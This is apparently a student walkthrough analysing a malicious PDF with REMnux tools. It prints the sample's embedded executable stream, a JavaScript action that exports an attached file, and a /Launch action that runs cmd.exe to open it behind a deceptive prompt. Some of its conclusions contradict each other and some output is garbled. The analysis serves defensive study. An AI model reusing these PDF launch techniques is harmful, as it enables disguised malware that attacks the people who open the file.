


Malicious PDF File Analysis - No. 5

Analyzing PDF with Remnux

1. Number of objects in pdf file.



```
root@remnux: /home/remnux/Desktop/pdf test# pdfid.py malicious.pdf
PDFiD 0.2.8 malicious.pdf
PDF Header: %PDF-1.0
obj 12
endobj 12
stream 2
endstream 2
xref 2
trailer 2
startxref 2
/Page 2
/Encrypt 0
/ObjStm 0
/JS 1
/JavaScript 1
/AA 1
/OpenAction 1
/AcroForm 0
/JBIG2Decode 0
/RichMedia 0
/Launch 1
/EmbeddedFile 0
/XFA 0
/URI 0
/Colors > 2^24 0
root@remnux: /home/remnux/Desktop/pdf test#
```

To get the number of objects we can use pdfid to quickly find how many objects this pdf file has. In this case we see it has 12 objects

2. Determine whether the file is compressed or not.

There is a stream that is compressed and is found in object 8. It has FlateDecode compression method. Here we use peepdf to show the streams that are compressed first:

```

root@remnux:/home/remnux/Desktop/pdf test# peepdf -i malicious.pdf
Warning: PyV8 is not installed!!

File: malicious.pdf
MD5: 690cbcfb0bb181c6aa5699debe300440
SHA1: 6d57d55a35df7f0284bc9ce550cb69472a307e8a
SHA256: 5caac79541d38316306f8a646f9a6ed8a0325faffde651bb247203e3ae51cb77
Size: 46377 bytes
Version: 1.0
Binary: False
Linearized: False
Encrypted: False
Updates: 1
Objects: 12
Streams: 2
URIs: 0
Comments: 0
Errors: 0

Version 0:
  Catalog: 1
  Info: 0
  Objects (4): [1, 2, 3, 4]
  Streams (1): [4]
  Encoded (0): []

Version 1:
  Catalog: 1
  Info: 0

Version 1:
  Catalog: 1
  Info: 0
  Objects (8): [1, 3, 5, 6, 7, 8, 9, 10]
  Streams (1): [8]
  Encoded (1): [8]
  Objects with JS code (1): [9]
  Suspicious elements:
    /OpenAction (1): [1]
    /Names (2): [6, 1]
    /AA (1): [3]
    /JS (1): [9]
    /Launch (1): [10]
    /JavaScript (1): [9]
    /EmbeddedFiles: [5]

PPDF>
PPDF> object 8

<< /Length 44174
  /Filter /FlateDecode
  /DL 73802
  /Params << /Size 73802
  /Checksum 00000000
    03,0]00 >>
  /Subtype /application/pdf >>
stream
MZ00000000 0!0L0!This program cannot be run in DOS mode.

$08000Y000Y000Y000E000Y000TE000Y000F000Y000F000Y000Y000TQA0Y000z000Y00_000Y00Rich0Y00PEL\00J0
000'0@
`l0xP00000.txtf00 `rdata000@.data\p00@00.rsrc0P@0U0T00
0000ASV00AE.0A0D@Aq0000AW0E
00PQ00A0@0@mA00
Lh0_@0030000SS50L@00>0U
00

```

3. Determine whether the file is obfuscated or not.

Using peepdf we can see that one stream has been encoded. Encoding leads to obfuscation.

4. Find and Extract JavaScript.

With pdf-parser we will be able to identify fundamental elements such as JavaScript. Enter the following command to parse the JavaScript object:

```
pdf-parser.py -s /javascript malware.pdf
```

```
root@remnux:/home/remnux/Desktop/pdf test# pdf-parser.py -s /javascript malicious.pdf
obj 9 0
Type: /Action
Referencing:

<<
  /S /JavaScript
  /JS (this.exportDataObject({ cName: "template", nLaunch: 0 }));)
  /Type /Action
>>

root@remnux:/home/remnux/Desktop/pdf test#
```

We can clearly see that the JavaScript code is not obfuscated, and it does not export any data. There is no malicious code in this file.

5. De-obfuscate JavaScript

There is nothing to de-obfuscate as there is no code obfuscation for this JS file.

6. Extract the shell code

While there is no shellcode in the JavaScript file, we believe that there is a malicious stream at object 8 and the shell code should be there.

```
newurl=remex:/Downloads/pdf-parser.py -c malicious-pdf --object 8
obj 0 0
Type:
Referencing:
Contains stream
```

We can see the stream of Unicode on object 8 which looks suspicious.

First, we will copy this stream of data to a file using the following command,

Vi script.unicode

We will then convert the Unicode file to the hex file using the following command.

```
rennux@rennux:~/Downloads$ ls
malicious.pdf  Malicious.zip  output.exe  'passcode(4){1}.rtf'  'passcode(4).rtf'  quiz  raw.hex  raw.unicode  script.unicode  shellcode.exe  test.exe  tr
```

[illegible]

We can now see that the Unicode data stream has been converted into hex. Now we can make an executable file using the following command

7. Create a shell code executable

Enter the following command to create an executable file. `shcode2exe -s -o script.exe script.hex`

```
remux@remux:~/Downloads$ shcode2exe -s -o script.exe script.hex
remux@remux:~/Downloads$ ls
malicious.pdf  Malicious.zip  output.exe  'passcode(4)(1).rtf'  'passcode(4).rtf'  quiz  raw.hex  raw.unicode  script.exe  script.hex  script.unicode  shellcode.exe_  Test.exe  try.raw
```

We then used `string script.exe` to check the executable. Using that command, we found the following things.

```
remnux@remnux:~/Downloads$ strings script.exe
!This program cannot be run in DOS mode.
$=Hc
.text
P`.idata
0|Lzq
Mx0Z
y(--y
xZ0\
l()A
=:aAR
ro8/
A&iN:
]P(*o>p
*KLY
!mYY)J
qkkm
K=Xj
y1}k
h^j0=
K}{j/
@[Yn
PIK[
_?//|
p*H{
qo<@
\N+k
AI!*
/mo`*
=-`-A
M:j.
;IZ8
J@`o_
{yaY
a[n>
(i@m*),
\m[0
0+N~
Wm?=
i>oz
LP      {
L hq
q8>}{
(|+H
```

```

x> ]
JlK[
\yX{
nZ<{
mNKK
<=>YEp
ya8r
.file
script.asm
.text
.absolut
@feat.00
_dll_
_start_
_end_
_RUNTIME_PSEUDO_RELOC_LIST_
data_start_
DTOR_LIST_
tls_start_
rt_psrelocs_start_
dll_characteristics_
size_of_stack_commit_
size_of_stack_reserve_
major_subsystem_version_
crt_xl_start_
crt_xi_start_
crt_xi_end_
bss_start_
_RUNTIME_PSEUDO_RELOC_LIST_END_
size_of_heap_commit_
crt_xp_start_
crt_xp_end_
minor_os_version_
image_base_
section_alignment_
IAT_end_
_RUNTIME_PSEUDO_RELOC_LIST_
data_end_
CTOR_LIST_
bss_end_
crt_xc_end_
crt_xc_start_
CTOR_LIST_
rt_psrelocs_size_
file_alignment_
major_os_version_

```

```

_ImageBase
_subsystem_
_tls_end_
_major_image_version_
_loader_flags_
_rt_psrelocs_end_
_minor_subsystem_version_
_minor_image_version_
_RUNTIME_PSEUDO_RELOC_LIST_END_
_crt_xt_end_
remnux@remnux:~/Downloads$

```

8. Analyze shell code and determine what it does or even execute it using sctest or spider monkey.

While we were unable to analyze the shell code using sctest or spider monkey, we were able to analyze the code by looking at the de-obfuscated code at object 8. We can use peepdf to see object 8 contents in a much human readable format:


```
root@remnux: /home/remnux/Desktop/pdf test
root@remnux: /home/remnux/Desktop/pdf test# peepdf -fi malicious.pdf
Warning: Pyv8 is not installed!!

File: malicious.pdf
MD5: 690cbcfb0bb181c6aa5699debe300440
SHA1: 6d57d55a35df7f0284bc9ce550cb69472a307e8a
SHA256: 5caac79541d38316306f8a646f9a6ed8a0325faffde651bb247203e3ae51cb77
Size: 46377 bytes
Version: 1.0
Binary: False
Linearized: False
Encrypted: False
Updates: 1
Objects: 12
Streams: 2
URIs: 0
Comments: 0
Errors: 0

Version 0:
  Catalog: 1
  Info: 0
  Objects (4): [1, 2, 3, 4]
  Streams (1): [4]
  Encoded (0): []

Version 1:
```

Now, let's look at the contents of object 8. We will see that the format is more readable

```
root@remnux: /home/remnux/Desktop/pdf test
PPDF> object 8

<< /Length 44174
/Filter /FlateDecode
/DL 73802
/Params << /Size 73802
/Checksum 000w0
03,0]00 >>
/Subtype /application/pdf >>
stream
MZ0000@000 0!0L0!This program cannot be run in DOS mode.
$08000Y000Y000Y000E000Y00TE000Y000F000Y000F000Y000Y00TQA0Y000z000Y00_000Y0
0Rich0Y00PEL\00J0
000'0@'l0xP00000.txtf00 '.rdata000@@.data\p0@00.rsrc0P@0U0T
00
0000ASV00AE.0A0D@Aq000#0Aw0E
00PQ00A0@0@mA00Lh0_@0030000SSS0L@00>0U
00
0@ARP0U0QR0DJ00U00E00M0PQ000@R00J500000@00E00000090f03Q0@)Zs/07@010|0l0@0c0;
ã0@0=0h00@w00+00hA000@000E0P0l0@00900}00M00000@0009`05
h0000:00A000000000U0T000@00
000 !0C@00E0P000@00A0#0 0@00Z9`At
h00@00
000M00Q0V500000^`GA000V9 0AJeP6p0@0lZAqt
```

```
000set000_iobXfprintf0strchr0_pctypea_mb_cur_maxIexit=atoi_istype0printf0si
gnal0malloc@calloc0fflushLfclose0perrorWfopen0qsort0_ftol0strncpy0strstr0strn
cmp^free0_ernoz_p_wenvironm_p_environ0realloc0strspn0modf0strerror0wcscp
y0wcslen0_close0wcscncmp0strchrMSVCRT.dllU_dllonexit0_onexit0_exith_XcptFilt
erd_p_initenvX_getmainargs_initterm0_setusermatherr0_adjust_fdivj_p_co
mmodeo_p_fmde0_set_app_type0_except_handler30_controlfpSetLastError0FreeE
nvironmentStringsW0GetEnvironmentStringsW0GlobalFree_GetCommandLineWVTlsAllo
cWTlsFree0DuplicateHandle:GetCurrentProcess0SetHandleInformation.CloseHandle0
GetSystemTimeAsFileTime0FileTimeToSystemTime0GetTimeZoneInformation0FileTimeT
oLocalFileTimeNSystemTimeToFileTime0SystemTimeToTzSpecificLocalTimeISleep0For
matMessageAiGetLastError0WaitForSingleObjectICreateEventA,SetStdHandleSetFile
PointerMCreateFileAPCreateFileW0GetOverlappedResult0DeviceIoControlZGetFileIn
formationByHandleRLocalFree^GetFileTypeZCreateMutexAInitializeCriticalSection
zDeleteCriticalSection0EnterCriticalSection0ReleaseMutex
SetEventGLeaveCriticalSectionQTerm
minateProcessRGetExitCodeProcess0GetVersionExA0GetProcAddressHLoadLibraryA0Wri
teFile0ReadFile0PeekNamedPipeKERNEL32.dllAllocateAndInitializeSid0FreeSidADVA
PI32.dllWSOCK32.dll9WSASend4WSARecvWS2_32.dll0_strnicmp0_strdupd0000
A2BKPZ_bcd%s
:s: Cannot use concurrency level greater than total number of requests
%s: Invalid Concurrency [Range 0..%d]
%s: invalid URL
%s: wrong number of arguments
```

If we keep digging a bit deeper into object 8 uncompressed content, we will notice that there is an attempt to establish a TCP connection somehow. The LoadLibraryA tells us that the shellcode is importing a library, specifically a WSOCK32 dll, because of the library WSOCK32 which is used for setting remote TCP connections between machines.

9. What is the secret code?

pdf-parser.py -s /javascript malware.pdf

```
root@remnux:/home/remnux/Desktop/pdf test# pdf-parser.py -s /javascript malicious.pdf
obj 9 0
Type: /Action
Referencing:

<<
  /S /JavaScript
  /JS (this.exportDataObject({ cName: "template", nLaunch: 0 }));)
  /Type /Action
>>

root@remnux:/home/remnux/Desktop/pdf test#
```

We can clearly see that the JavaScript code is not obfuscated, and it does not export any data.


```

/Type/Action>>

obj 10 0
  Type: /Action
  Referencing:

  <<
    /S /Launch
    /Type /Action
    /Win
    <<
      /F (cmd.exe)
      /D '(c:\\\\windows\\\\system32)'
      /P '(/Q /C %HOMEDRIVE%&cd %HOMEPATH%&(if exist "Desktop\\\\template.p
df" (cd "Desktop"))&(if exist "My Documents\\\\template.pdf" (cd "My Document
s"))&(if exist "Documents\\\\template.pdf" (cd "Documents"))&(if exist "Escrit
orio\\\\template.pdf" (cd "Escritorio"))&(if exist "Mis Documentos\\\\templa
te.pdf" (cd "Mis Documentos"))&(start template.pdf)\\n\\n\\n\\n\\n\\n\\n\\n\\n\\nTo vie
w the encrypted content please tick the "Do not show this message again" box
and press Open.)'
    >>
  >>

<</S/Launch/Type/Action/Win<</F(cmd.exe)/D(c:\\windows\\system32)/P(/Q /C %HOMEDRIVE%&cd %HOMEPATH%&(if exist "Desktop\\template.pdf" (cd "Desktop"))&(if

```

References

<https://www.slideshare.net/RhydhamJoshi/remnux-tutorial3-investigation-of-malicious-pdf-documents>